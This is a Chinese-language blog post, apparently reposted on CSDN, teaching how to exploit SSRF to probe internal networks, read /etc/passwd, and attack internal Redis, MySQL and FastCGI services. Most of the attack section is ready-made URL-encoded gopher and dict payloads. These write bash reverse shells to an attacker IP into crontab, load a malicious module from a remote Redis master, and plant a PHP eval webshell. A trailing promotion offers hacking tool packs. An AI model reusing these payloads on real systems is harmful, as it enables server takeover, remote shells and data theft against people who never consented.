ssrf漏洞利用(内网探测、打redis)

153 篇文章 3 订阅
60 篇文章 0 订阅

声明

该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

滑至文末,获取“searchall”下载链接!

一、进行内网探测

利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。

可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口。

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379

二、file协议读取文件

这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。

http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd

三、攻击redis

只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。

第一步探测Redis我们已经完成了,那么第二步就是发送redis命令,将反弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序。

还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。针对这三个路径的不同,如下会进行讲解。

方法一:通过header CRLF 注入

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

redis命令如下:

test``   ``set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"``config set dir /etc/``config set dbfilename crontab``save``   ``aaa

这里是采用的bash反弹,在ubuntu下不会反弹成功,CentOS可以反弹成功;路径采用的是/etc/crontab.

因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

payload1就为:

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/``test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后在自己的公网机192.168.220.140上nc监听2333端口

nc -lvp 2333 (或nc -l 2333)

然后发送请求即可反弹shell了

方法二:通过【curl命令】和【gopher协议】远程攻击内网redis

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。

此种方法能攻击成功的前提条件是:redis是以root权限运行的。

payload2如下:

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=``gopher://172.21.0.2:6379/``_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;

payload采用的是bash反弹,定时程序路径是/var/spool/cron/root

发送请求之前在公网机192.168.220.140开启nc监听端口2333

nc -lvp 2333 (或nc -l 2333)

方法三:使用dict协议向Redis数据库写shell

关于dict协议:
  > dict://serverip:port/命令:参数
  > 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利

如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。

curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。

可通过以下三条命令看是否能利用dict:

/xx.php?url=dict://172.21.0.2:6379/info``/xx.php?url=dict://172.21.0.2:6379/get:user``/xx.php?url=dict://172.21.0.2:6379/flushall

这样就代表可以成功执行命令。

1.先清除没用的数据,防止定时任务执行失败``   ``http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall``或``http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall``   ``2.利302跳转写入反弹命令``   ``http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234``或``http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234``   ``3.设置导出路径``   ``http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/``或``http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/``   ``4.设置导出名字``http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root``或``http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root``   ``5.导出``   ``http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save``或``http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save

使用burp发包,为了避免语句顺序执行错误,故第一个包先跑20个在跑第二个包以此类推,如果是批量内网ip存在6379端口,那么C段用通配符“*”表示。

在公网机上使用nc持续监听1234端口,等一会儿把包发完就会反弹shell。

Payload 完善修改

payload中出现ip、端口、反弹命令、定时程序路径这些都可以根据实际情况,目标机的系统版本进行更改。

如果目标机是CentOS系统:

bash和python反弹都支持``路径使用:/etc/crontab或者/var/spool/cron/root

如果是ubuntu系统:

支持python反弹``路径使用:/etc/crontab或者/var/spool/cron/crontabs/root

四、结合gopher协议实现进一步攻击

1.通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求反弹shell

在靶机上执行:bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

攻击机上执行:nc -lvp 2333

post请求为:

POST /test/ssrf/post.php HTTP/1.1``Host: 192.168.220.139``User-Agent: curl/7.42.0``Accept: */*``Content-Type: application/x-www-form-urlencoded``   ``cmd=ccccc``   ``bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

将其进行url两次编码,然后结合gopher协议和curl命令,payload如下:

curl -v` `'http://xxx.xxx.xx.xx/xx.php?``url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261'

攻击机先运行nc命令,然后curl发送请求。

2.gopher攻击MySQL

如果内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击。

3.gopher攻击fastcgi

php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

前提:

PHP-FPM监听端口``PHP-FPM版本 >= 5.3.3``libcurl版本>=7.45.0(curl版本小于7.45.0时,gopher的%00会被截断)``知道服务器上任意一个php文件的绝对路径,例如/usr/local/lib/php/PEAR.php

五、SSRF 触发主从复制反弹 shell

操作也是很平常的操作,如同你在 redis-cli 中操作一样

1.连接远程主服务器``/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:8379``   ``2.设置保存文件名``   ``/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so``   ``3.载入 exp.so``   ``/api/test/http_get?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so``   ``4.断开主从``   ``/api/test/http_get?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE``   ``5.恢复原始文件名``   ``/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb``   ``6.执行命令``   ``/api/test/http_get?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'``   ``7.反弹 shell``   ``/api/test/http_get?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887

利用主从写shell:

1.连接远程主服务器``/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start.net:2323``2.设置保存路径``/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/``设置shell内容``/api/test/http_get?url=dict://127.0.0.1:6379/``set:xxx:"\n\n\n<?php @eval($_POST['c']);?>\n\n\n"``3.设置保存文件名``/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php``4.保存``/api/test/http_get?url=dict://127.0.0.1:6379/save``5.断开主从``/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:no:one

文章转载

https://www.cnblogs.com/-chenxs/p/11749367.html

注:如有侵权请后台联系进行删除

觉得内容不错,请点一下"赞"和"在看"

点击上方公众号

关注我们

往期精彩

Armitage|MSF图形界面神器

原创|Searchall3.5.8敏感信息搜索工具

1、公众号后台回复:搜索大法,获取searchall工具下载链接。

2、公众号后台回复:靶场,获取靶场工具网盘下载链接。

3、公众号后台回复:webshell,获取webshell下载链接。

4、公众号后台回复:验证码,获取验证码工具下载链接。

5.公众号后台回复:应急响应,获取应急响应网盘下载链接。

6.公众号后台回复:CS,获取CS渗透工具包网盘下载链接。‍

注:如有侵权请后台联系进行删除

觉得内容不错,请点一下"赞"和"在看"

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

  • 17
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值